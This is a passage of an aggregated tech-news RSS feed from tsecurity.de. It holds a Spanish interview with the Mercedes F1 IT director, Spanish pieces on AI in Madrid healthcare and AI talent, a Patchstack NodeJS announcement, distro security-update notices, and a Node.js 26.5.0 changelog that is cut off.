<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Announcing Google Cloud buildpacks—container images made easy</h4>
            <p class="uni-related-article-tout__body">Google Cloud buildpacks make it much easier and faster to build applications on top of containers.</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Así es como un director de TI de Fórmula 1 logra el equilibrio entre innovación y estabilidad a más de 300 km/h]]></title>
<description><![CDATA[Michael Taylor lleva 25 temporadas en el equipo Mercedes-AMG Petronas de Fórmula 1, donde ha desempeñado todas las funciones relacionadas con las tecnologías de la información, desde el apoyo en pista hasta los sistemas de ingeniería y la transformación empresarial. En la actualidad, como directo...]]></description>
<link>https://tsecurity.de/de/3659504/it-nachrichten/as-es-como-un-director-de-ti-de-frmula-1-logra-el-equilibrio-entre-innovacin-y-estabilidad-a-ms-de-300-kmh/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659504/it-nachrichten/as-es-como-un-director-de-ti-de-frmula-1-logra-el-equilibrio-entre-innovacin-y-estabilidad-a-ms-de-300-kmh/</guid>
<pubDate>Fri, 10 Jul 2026 13:17:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Michael Taylor lleva 25 temporadas en el equipo Mercedes-AMG Petronas de Fórmula 1, donde ha desempeñado todas las funciones relacionadas con las tecnologías de la información, desde el apoyo en pista hasta los sistemas de ingeniería y la transformación empresarial. En la actualidad, como director de TI, dirige un equipo de 18 personas responsable de una de las operaciones con mayor volumen de datos del mundo.</p>



<p>Cuando un coche sale del box, lleva 300 sensores. Mientras está en marcha, genera más de un millón de puntos de datos por segundo. Cada componente, sistema y vuelta produce datos de telemetría que los ingenieros utilizan para ganar fracciones de segundo: la diferencia entre ganar y perder. “La Fórmula 1 lleva muchos años centrada en los datos. La métrica clave en nuestro deporte es el cronómetro, y así ha sido desde que comenzó el Campeonato del Mundo en la década de 1950. Pero ahora lo medimos todo. Si lo mides, puedes mejorarlo”, cuenta.</p>



<p>El reto no es recopilar datos —la Fórmula 1 lleva transmitiendo telemetría en directo desde la década de 1980—. Se trata de tomar decisiones a gran velocidad sin dejar de mantener el control que permite que una operación compleja y de alto riesgo siga funcionando.</p>



<p>Para los CIO que se enfrentan a la presión de avanzar rápidamente en materia de IA al tiempo que gestionan el riesgo, la seguridad y la calidad de los datos, las lecciones que Taylor ha aprendido a base de mucho esfuerzo en el <em>pit lane</em> ofrecen un marco útil: cómo equilibrar la velocidad y el control, cuándo mantener a las personas al tanto de lo que ocurre y por qué una gobernanza “suficientemente buena” es mejor que una gobernanza perfecta que nunca llega a ponerse en práctica.</p>



<h2 class="wp-block-heading">Innovación frente a estabilidad: “Una batalla constante”</h2>



<p>En la mayoría de las empresas, la tensión entre innovación y control se desarrolla a lo largo de trimestres o años. En la F1, ocurre cada semana. “Es realmente difícil. Y es algo que no siempre acertamos. Aquí es donde confiamos en las personas. La experiencia en el sector es realmente importante a la hora de tomar decisiones relacionadas con el cambio”, admite Taylor.</p>



<p>El equipo opera en dos modos distintos. Entre carrera y carrera, se encuentran en la fábrica de Brackley, en el Reino Unido. Las instalaciones, que son la sede central del diseño, la fabricación y el funcionamiento de sus monoplazas de Fórmula 1, ganadores de campeonatos, incluyen un campus tecnológico de 60 000 metros cuadrados. Todo gira en torno a la gestión de proyectos y programas, con margen para la experimentación. Pero a medida que se acerca el fin de semana de carrera, todo se centra en la ejecución.</p>



<p>“Tenemos ese modo normal cuando no estamos compitiendo. Volvemos a la fábrica para diseñar, construir y mejorar”, explica el directivo. “Pero a medida que nos acercamos al fin de semana de carrera, pasamos a ejecutar todo ello de la forma más eficaz. No debemos realizar cambios que afecten a los ingenieros”.</p>



<p>Esta dualidad marca todas las decisiones tecnológicas. La misma agilidad que impulsa la innovación durante la semana debe dar paso a la estabilidad cuando los resultados están en juego. Taylor lo llama una “batalla constante”.</p>



<h2 class="wp-block-heading">Modernización a la velocidad de las carreras</h2>



<p>Mercedes-AMG Petronas llevaba utilizando SAP desde 1999. La plataforma sustenta todo el proceso del equipo, desde el diseño hasta la pista: desde la aprobación del diseño, pasando por la planificación, el aprovisionamiento, la fabricación, las pruebas y el desarrollo, hasta el montaje del coche en la pista.</p>



<p>“Todos esos pasos son procesos fundamentales”, afirma Taylor. Por eso, cuando llegó el momento de modernizarse, el equipo lo abordó como una parada en <em>boxes</em>: planificado al segundo, ejecutado con precisión. Eligieron RISE with SAP —el paquete combinado de ERP en la nube y migración del proveedor—, acordaron iniciar el proceso en diciembre de 2024 y fijaron como objetivo la puesta en marcha en agosto de 2025, coincidiendo con el parón obligatorio de dos semanas del deporte.</p>



<p>“Es el momento perfecto para introducir cambios. Tenemos que planificarlo todo a la perfección para que todo vaya sobre ruedas cuando volvamos a competir”»”, explica.</p>



<p>Terminaron ocho semanas antes de lo previsto. “Somos unos obsesionados del control debido a la naturaleza de este deporte y a sus plazos estrictos”, afirma. Su equipo prefiere gestionar los sistemas de forma interna en lugar de depender de grandes integradores de sistemas que “se asoman un poco y desaparecen”. Con solo 18 personas en el equipo de TI, recurren a la experiencia de SAP para problemas específicos y, a continuación, retoman las riendas. “Una vez hecho esto, seguimos siendo los responsables y nos encargamos de la gestión”, agrega, “y SAP hace lo que mejor sabe hacer”.</p>



<h2 class="wp-block-heading">El camino seguro debe ser el más fácil</h2>



<p>La propiedad intelectual en la Fórmula 1 tiene una vida útil muy corta. En cuanto un nuevo componente se monta en el coche y se fotografía en el pit lane, los competidores pueden verlo. Pero eso no resta valor a lo que hay detrás.</p>



<p>“La verdadera ventaja no es solo la pieza”, afirma Taylor. “Es el razonamiento, el modelado, la simulación, los modos de fallo, las compensaciones y la dirección de desarrollo que hay detrás”.</p>



<p>Proteger todo eso requiere una estrategia de seguridad ofensiva. El responsable de seguridad de la información de Taylor depende directamente de él, y el equipo pone a prueba activamente sus propias defensas. “Actúa, piensa y trabaja como un hacker. Estamos pensando en cómo podemos contrarrestar las amenazas sin que ello afecte a los usuarios finales”, relata.</p>



<p>En una cultura que fomenta la ingeniería y en la que se da libertad a las personas para actuar con rapidez, una seguridad demasiado estricta resulta contraproducente. Taylor aprendió pronto que la perfección es enemiga del progreso. “Si la seguridad se interpone en el camino del negocio, este encontrará formas de sortearla. La tarea no consiste en ralentizar a la organización, sino en hacer que el camino seguro sea el más fácil”.</p>



<h2 class="wp-block-heading">El factor humano</h2>



<p>Dada la evolución semanal de la IA, el equipo de Taylor está llevando a cabo proyectos piloto en toda la organización: aprendizaje automático para la simulación, flujos de trabajo automatizados en la planificación de la producción y copilotos que ayudan a los desarrolladores a escribir código. Pero se resiste a la tentación de precipitarse.</p>



<p>“Todavía estamos buscando nuestro camino”, afirma. “No hay una solución única para todos. Estamos probando todo lo que hay disponible, pero dentro de seis a diez meses tomaremos decisiones sobre qué ampliar”.</p>



<p>A pesar del revuelo que rodea a la IA basada en agentes, Taylor sigue apostando por la supervisión humana. “Sigo creyendo firmemente que ‘los humanos deben estar en el bucle’. Cuando nuestra plantilla esté en sintonía con la IA, ahí es donde veremos el beneficio real: cuando esta complemente a nuestra gente”.</p>



<p>La IA también ha elevado el listón en materia de gobernanza de datos. “Lo que ahora se considera ‘suficientemente bueno’ incluye una mayor visibilidad, permisos más claros y una propiedad más definida», explica Taylor. «Hay que ser más riguroso a la hora de determinar a qué datos puede acceder la IA”.</p>



<h2 class="wp-block-heading">La clave, empezar por las consecuencias</h2>



<p>El consejo de Taylor para los CIO de otros sectores que se enfrentan a cuestiones similares es aparentemente sencillo: “Empieza por las consecuencias, no por la tecnología”.</p>



<p>En los servicios financieros, podría tratarse de un perjuicio para el cliente o de un incumplimiento normativo. En la sanidad, de la seguridad del paciente o de la pérdida de la confianza pública. En la F1, la consecuencia de un fallo de seguridad es la pérdida de la ventaja competitiva.</p>



<p>“Una vez que comprendes las consecuencias, puedes decidir qué requiere un control más estricto, qué hay que supervisar, qué hay que conservar y qué simplemente necesita mejores prácticas de seguridad”, afirma Taylor.</p>



<p>Es una lección aprendida a lo largo de 25 temporadas al límite de lo técnicamente posible, donde las decisiones se toman en milisegundos y el margen entre el éxito y el fracaso se mide en fracciones de segundo.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Patchstack Now Securing NodeJS Applications for Web Hosts]]></title>
<description><![CDATA[We are rolling out NodeJS/NPM vulnerability protection and supply chain security across all Patchstack web hosting & integration partners. If you’re not an existing partner, contact us here for more information. Vibe coding makes custom app building effortless for non technical users Website crea...]]></description>
<link>https://tsecurity.de/de/3659490/it-security-nachrichten/patchstack-now-securing-nodejs-applications-for-web-hosts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3659490/it-security-nachrichten/patchstack-now-securing-nodejs-applications-for-web-hosts/</guid>
<pubDate>Fri, 10 Jul 2026 13:08:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[We are rolling out NodeJS/NPM vulnerability protection and supply chain security across all Patchstack web hosting &amp; integration partners. If you’re not an existing partner, contact us here for more information. Vibe coding makes custom app building effortless for non technical users Website creation is at an all time high and growing, before counting invisible […]]]></content:encoded>
</item>
<item>
<title><![CDATA[La sanidad pública madrileña integrará la IA gracias a una inyección estatal de 12,8 millones de euros]]></title>
<description><![CDATA[Implantar programas de monitorización remota de patologías crónicas, el uso de analítica avanzada en salud, el desarrollo de casos de uso basados en inteligencia artificial y facilitar la implementación de programas de telecuidados son algunas de las acciones que se realizarán bajo el marco del a...]]></description>
<link>https://tsecurity.de/de/3658994/it-security-nachrichten/la-sanidad-pblica-madrilea-integrar-la-ia-gracias-a-una-inyeccin-estatal-de-128-millones-de-euros/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3658994/it-security-nachrichten/la-sanidad-pblica-madrilea-integrar-la-ia-gracias-a-una-inyeccin-estatal-de-128-millones-de-euros/</guid>
<pubDate>Fri, 10 Jul 2026 09:35:21 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Implantar programas de monitorización remota de patologías crónicas, el uso de analítica avanzada en salud, el desarrollo de casos de uso basados en inteligencia artificial y facilitar la implementación de programas de telecuidados son algunas de las acciones que se realizarán bajo el marco del acuerdo sellado en el ámbito del Sistema Nacional de Salud entre el Ministerio para la Transformación Digital y de la Función Pública, el Ministerio de Sanidad y la Comunidad de Madrid.</p>



<p>En virtud de este convenio, de una duración de cuatro años (con posibilidad de prórroga por otros cuatro), el Gobierno español destinará 12,8 millones de euros a incorporar la IA a la Sanidad Pública de la Comunidad de Madrid. El montante, reza un comunicado del Ejecutivo, “permitirá incorporar nuevos servicios digitales en 262 centros públicos, desarrollar casos de usos de la IA innovadores y beneficiará cada año a más de 155.000 usuarios de la sanidad pública madrileña”. El proyecto se enmarca en la Estrategia de Salud Digital del Sistema Nacional de Salud y en el Programa Operativo Plurirregional de España (POPE) 2021-2027, financiado con fondos europeos FEDER.</p>



<p>“Este Gobierno está convencido de que la IA, como infraestructura de país, es una oportunidad con todas las letras”, señaló el ministro para la Transformación Digital y de la Función Pública, Óscar López, durante la firma. “Con este convenio damos un nuevo impulso a la transformación digital del Sistema Nacional de Salud para que la innovación llegue a todos los ciudadanos, vivan donde vivan”, agregó la ministra de Sanidad, Mónica García. “Movilizamos 223 millones de euros hasta 2029 para impulsar una inteligencia artificial útil, segura y responsable, compartir imágenes médicas entre comunidades autónomas y reforzar una sanidad más coordinada, más eficiente y más equitativa”.</p>



<p>Por su parte, el consejero de Digitalización de la Comunidad de Madrid, Miguel López-Valverde, recordó que “la región ya ha ejecutado 2.371 millones de euros del Plan de Recuperación, el 73% de los recursos asignados, situándose entre las comunidades más ágiles en la movilización de estas inversiones, muy por delante de Cataluña y Andalucía”.</p>



<p>Otras iniciativas que contempla el convenio son herramientas para mejorar el diagnóstico y el seguimiento de enfermedades raras; programas de telecuidados, que facilitarán el avance hacia una asistencia más personalizada y accesible, y la extensión de la red ÚNICAS, liderada estratégicamente por la Comunidad de Madrid junto con Cataluña, que permite compartir información clínica entre centros especializados en patologías minoritarias de pacientes pediátricos.</p>



<p>Además, el Ejecutivo autonómico participará en la Red de Intercambio de Imágenes Médicas del Sistema Nacional de Salud (SNS) para permitir el intercambio de este tipo de pruebas entre regiones para la prestación asistencial y su uso secundario, en línea con el reglamento del Espacio Europeo de Datos de Salud.</p>



<p>El convenio determina que, una vez desarrollados los proyectos financiados en este marco, se pondrán a disposición de todas las administraciones sanitarias a través de un repositorio o catálogo gestionado por el Ministerio de Sanidad, con el objetivo de su reutilización. Las actuaciones seguirán las directrices y recomendaciones que puedan ser establecidas por la Agencia Española de Supervisión de la Inteligencia Artificial (AESIA) y otros organismos competentes.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[¿Formar o contratar? Los CIO más avispados saben la respuesta sobre el talento en la era de la IA]]></title>
<description><![CDATA[El factor clave para el éxito de la implantación de la IA está pasando a ser, en gran medida, el talento disponible, y no las herramientas de IA instaladas, lo que ejerce presión sobre los responsables de TI para que mejoren las competencias de su plantilla. Dado que las competencias en IA son la...]]></description>
<link>https://tsecurity.de/de/3656399/it-nachrichten/formar-o-contratar-los-cio-ms-avispados-saben-la-respuesta-sobre-el-talento-en-la-era-de-la-ia/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3656399/it-nachrichten/formar-o-contratar-los-cio-ms-avispados-saben-la-respuesta-sobre-el-talento-en-la-era-de-la-ia/</guid>
<pubDate>Thu, 09 Jul 2026 10:47:47 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>El factor clave para el éxito de la implantación de la IA está pasando a ser, en gran medida, el talento disponible, y no las herramientas de IA instaladas, lo que ejerce presión sobre los responsables de TI para que mejoren las competencias de su plantilla. Dado que las competencias en IA son las más demandadas y las más difíciles de encontrar, muchos responsables de TI y sus colegas de la alta dirección están poniendo en marcha programas integrales de formación en IA para los empleados, tanto para los profesionales de TI que desarrollan las herramientas de IA como para los usuarios de la empresa que las utilizarán.</p>



<p>Las empresas inteligentes tendrán que invertir mucho en la mejora de las competencias, afirma <a href="https://www.devry.edu/newsroom/administration/chris-campbell.html" target="_blank" rel="nofollow">Chris Campbell</a>, director de sistemas de información de la Universidad DeVry (California, Estados Unidos). “El ritmo del cambio es sencillamente demasiado rápido como para depender únicamente de la contratación externa. Las organizaciones que desarrollen capacidades de IA entre su plantilla actual tendrán ventaja sobre aquellas que intenten ganar una guerra de ofertas por un grupo relativamente reducido de expertos”, relata.</p>



<p>Además, los elementos clave que conducen a una implementación beneficiosa de la IA han cambiado con el tiempo, añade. “Al principio, a todo el mundo le preocupaba el acceso a las herramientas de IA. Hoy en día, las herramientas están por todas partes. Lo que veo que cuesta a las organizaciones es averiguar cómo aplicarlas a problemas empresariales reales e integrarlas en la forma en que se lleva a cabo el trabajo en la práctica”, agrega.</p>



<p>En DeVry, algunos de los defensores más acérrimos de la IA no provienen de ámbitos tradicionales de la IA, sino de la ingeniería de software, el análisis empresarial, la ciberseguridad, la gestión de proyectos y las operaciones, afirma. “Entienden el negocio, saben dónde están los puntos de fricción y pueden ver dónde la IA puede generar valor. Esas habilidades suelen ser más importantes que una experiencia profunda en un modelo o herramienta concretos”, señala.</p>



<p>Es difícil encontrar profesionales con experiencia en IA, sobre todo cuando los responsables de TI buscan candidatos que hayan logrado llevar con éxito iniciativas de IA de la fase experimental a la de producción. “No creo que todas las empresas necesiten crear un gran equipo de especialistas en IA”, afirma Campbell. “En muchos casos, las personas mejor posicionadas para impulsar la adopción de la IA ya se encuentran dentro de la organización”.</p>



<h2 class="wp-block-heading">Mejora de las competencias para una cultura de creadores de IA</h2>



<p>La firma de servicios profesionales y contabilidad KPMG está abordando su reto de talento en IA impartiendo formación generalizada en IA a sus empleados, afirma <a href="https://www.linkedin.com/in/rema-serafi/" target="_blank" rel="nofollow">Rema Serafi</a>, vicepresidenta de fiscalidad de KPMG. El principal problema de muchas organizaciones en materia de IA en 2026 será la falta de talento, no la falta de tecnología, añade.</p>



<p>El 40% de los CIO encuestados para <a href="https://us.resources.cio.com/resources/state-of-the-cio/" rel="nofollow">el informe </a>‘<a href="https://us.resources.cio.com/resources/state-of-the-cio/" target="_blank" rel="nofollow">State of the CIO</a>‘ de este año señalaron la falta de talento interno como uno de los principales obstáculos para implementar sus estrategias de IA.</p>



<p>Para hacer frente a esto, KPMG ha puesto en marcha un programa piloto de formación en IA de seis semanas, con el objetivo de que todos los empleados puedan implementar sus propias herramientas de IA, explica Serafi. El programa familiariza a los empleados con Python y otras tecnologías que sirven de base para las herramientas internas de IA, añade.</p>



<p>KPMG también ha renovado la estructura de sus equipos para garantizar que tres categorías de empleados —usuarios avanzados de IA, creadores y desarrolladores— trabajen en estrecha colaboración, afirma Serafi. “Todo el mundo tendrá acceso a nuestras herramientas y todo el mundo será un usuario avanzado, hasta tal punto que aquellos profesionales que no contaban con conocimientos de IA al incorporarse, que no eran ingenieros ni tecnólogos, si quieren aprender, les certificaremos para que también puedan crear herramientas”, afirma.</p>



<p>Implementar herramientas de IA sofisticadas y de primera clase sin formar a los empleados es como comprar un coche de Fórmula 1 pero no contratar a un piloto profesional, dice. “Si no contamos con profesionales que sepan cómo utilizarla, no podrán sacar el máximo partido a lo que tienen a su disposición”, añade Serafi.</p>



<p>KPMG encargó un estudio a la Universidad de Texas (Estados Unidos) y descubrió que los empleados que utilizan la IA con regularidad producen un trabajo de mayor calidad y se sienten menos estresados. Los empleados que sean usuarios expertos en IA progresarán más rápido en sus carreras, sugiere. Sin embargo, uno de los retos de los programas de formación es mantenerse al día con la rapidez con la que evoluciona la IA. “De hecho, las funciones están cambiando en muy poco tiempo. Antes se veía a ingenieros tradicionales trabajando con IA, pero ahora se ven profesionales que realmente pueden orientar, dar forma y dirigir la IA en el trabajo que realizan para sus clientes”.</p>



<h2 class="wp-block-heading">Reciclaje profesional: “El único camino realista hacia el futuro”</h2>



<p>Otro defensor de la formación integral en IA para los empleados es <a href="https://www.linkedin.com/in/elmerm/" target="_blank" rel="nofollow">Elmer Morales</a>, fundador y director ejecutivo de Koder.com, una <em>startup </em>de programación de IA agente. Según él, encontrar talento externo en el ámbito de la IA se ha vuelto extremadamente difícil para la mayoría de las empresas.</p>



<p>“El reciclaje profesional ya no es opcional. Es el único camino realista a seguir para la mayoría de las organizaciones. El mercado de talento externo no puede satisfacer simultáneamente las necesidades de todas las empresas, y esperar a que las universidades se pongan al día no es una estrategia”, afirma.</p>



<p>Las empresas que triunfan con la IA consideran la mejora de las competencias como una inversión fundamental, no solo como una iniciativa de recursos humanos, añade Morales. “La falta de talento es, en estos momentos, el principal obstáculo concreto para las ambiciones en materia de IA. Las empresas pueden adquirir los mejores modelos, la mejor infraestructura y las mejores herramientas, y aun así no producir nada de valor porque carecen de personas que sepan cómo integrarlo todo en un sistema que realmente funcione en producción”, explica.</p>



<p>Morales sugiere que los responsables de TI recurran a su equipo de ingeniería actual para desarrollar el talento necesario para la implementación de la IA. “Los ingenieros que ya se dedican a esto con obsesión por las noches y los fines de semana, que lanzan proyectos personales y experimentan con nuevos modelos, solo necesitan permiso, recursos y un problema real que resolver. Los mejores equipos de IA que he visto no se crearon mediante la contratación, sino creando las condiciones para que las personas adecuadas dieran un paso al frente”, concluye.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Security updates for Wednesday]]></title>
<description><![CDATA[Security updates have been issued by AlmaLinux (container-tools:rhel8, kernel-rt, libreoffice, nodejs:22, nodejs:24, opentelemetry-collector, perl-HTTP-Daemon, and python-markdown), Debian (dpkg, imagemagick, and postfix), Fedora (betterleaks, docker-compose, firefox, helm, perl-Compress-Raw-Bzip...]]></description>
<link>https://tsecurity.de/de/3654344/linux-tipps/security-updates-for-wednesday/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654344/linux-tipps/security-updates-for-wednesday/</guid>
<pubDate>Wed, 08 Jul 2026 14:53:53 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Security updates have been issued by <b>AlmaLinux</b> (container-tools:rhel8, kernel-rt, libreoffice, nodejs:22, nodejs:24, opentelemetry-collector, perl-HTTP-Daemon, and python-markdown), <b>Debian</b> (dpkg, imagemagick, and postfix), <b>Fedora</b> (betterleaks, docker-compose, firefox, helm, perl-Compress-Raw-Bzip2, perl-IO-Compress, perl-JavaScript-Minifier-XS, python-cramjam, python-fastar, python-pillow-jxl-plugin, python-rignore, and tor), <b>Oracle</b> (grafana, grafana-pcp, and ruby:4.0), <b>Slackware</b> (tftp), <b>SUSE</b> (gi-docgen, glibc, helm, helm3, json-c-devel, kubevirt-1.6, librpmbuild10, python313-dulwich, python313-lxml_html_clean, python313-openapi-spec-validator, and sdbootutil), and <b>Ubuntu</b> (ruby-addressable).]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-07-08, Version 26.5.0 (Current), @richardlau]]></title>
<description><![CDATA[Notable Changes
New release key
Welcome to our newest releaser, Stewart X Addison. Future Node.js releases may be signed with his release key, 655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD.
Other notable changes

[55f48446c7] - (SEMVER-MINOR) buffer: implement blob.textStream() (Matthew Aitken) #64036...]]></description>
<link>https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3654192/downloads/2026-07-08-version-2650-current-richardlau/</guid>
<pubDate>Wed, 08 Jul 2026 14:01:39 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>New release key</h4>
<p>Welcome to our newest releaser, <a href="https://github.com/sxa">Stewart X Addison</a>. Future Node.js releases may be signed with his <a href="https://github.com/nodejs/node/blob/main/README.md#release-keys">release key</a>, <code>655F3B5C1FB3FA8D1A0CA6BDE4A7D232B936D2FD</code>.</p>
<h4>Other notable changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b373202efc"><code>b373202efc</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>esm</strong>: add <code>--experimental-import-text</code> flag (Efe) <a href="https://github.com/nodejs/node/pull/62300" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62300/hovercard">#62300</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e0c14455"><code>39e0c14455</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>perf_hooks</strong>: sample delay per event loop iteration (Pablo Erhard) <a href="https://github.com/nodejs/node/pull/62935" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62935/hovercard">#62935</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/999a83c937"><code>999a83c937</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: expose ReadableStreamTee (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64195" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64195/hovercard">#64195</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4e0236dc3d"><code>4e0236dc3d</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>tls</strong>: report negotiated TLS groups (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64119" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64119/hovercard">#64119</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/87648c0a6c"><code>87648c0a6c</code></a>] - <strong>benchmark</strong>: trim down the argon2 sets (Filip Skokan) <a href="https://github.com/nodejs/node/pull/64218" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64218/hovercard">#64218</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a483bfd3f0"><code>a483bfd3f0</code></a>] - <strong>buffer</strong>: remove unreachable overflow check in atob (haramjeong) <a href="https://github.com/nodejs/node/pull/60161" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60161/hovercard">#60161</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d14279688"><code>6d14279688</code></a>] - <strong>buffer</strong>: add fast api for isUtf8 and isAscii (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/64169" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64169/hovercard">#64169</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55f48446c7"><code>55f48446c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: implement blob.textStream() (Matthew Aitken) <a href="https://github.com/nodejs/node/pull/64036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64036/hovercard">#64036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a67d9a7a44"><code>a67d9a7a44</code></a>] - <strong>build</strong>: allow linting node.1 (Aviv Keller) <a href="https://github.com/nodejs/node/pull/64157" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64157/hovercard">#64157</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06c1fbc25b"><code>06c1fbc25b</code></a>] - <strong>build</strong>: enable Maglev for riscv64 (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62605" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62605/hovercard">#62605</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518309c363"><code>518309c363</code></a>] - <strong>build</strong>: suppress clang errors building libffi on Windows (René) <a href="https://github.com/nodejs/node/pull/64222" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64222/hovercard">#64222</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6a80ab485c"><code>6a80ab485c</code></a>] - <strong>build</strong>: add manually-dispatched stress-test workflow (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64118" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64118/hovercard">#64118</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f4e7bf1f1c"><code>f4e7bf1f1c</code></a>] - <strong>build</strong>: pin envinfo versions in github actions (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/64117" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64117/hovercard">#64117</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66f6ac0d86"><code>66f6ac0d86</code></a>] - <strong>build</strong>: support setting an emulator from configure script (Ivan Trubach) <a href="https://github.com/nodejs/node/pull/53899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/53899/hovercard">#53899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f26c54aa6"><code>7f26c54aa6</code></a>] - <strong>child_process</strong>: fix permission model propagation via NODE_OPTIONS (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63972" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63972/hovercard">#63972</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/32bb554f5b"><code>32bb554f5b</code></a>] - <strong>crypto</strong>: fix large DH generator validation (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/64092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64092/hovercard">#64092</a></li>
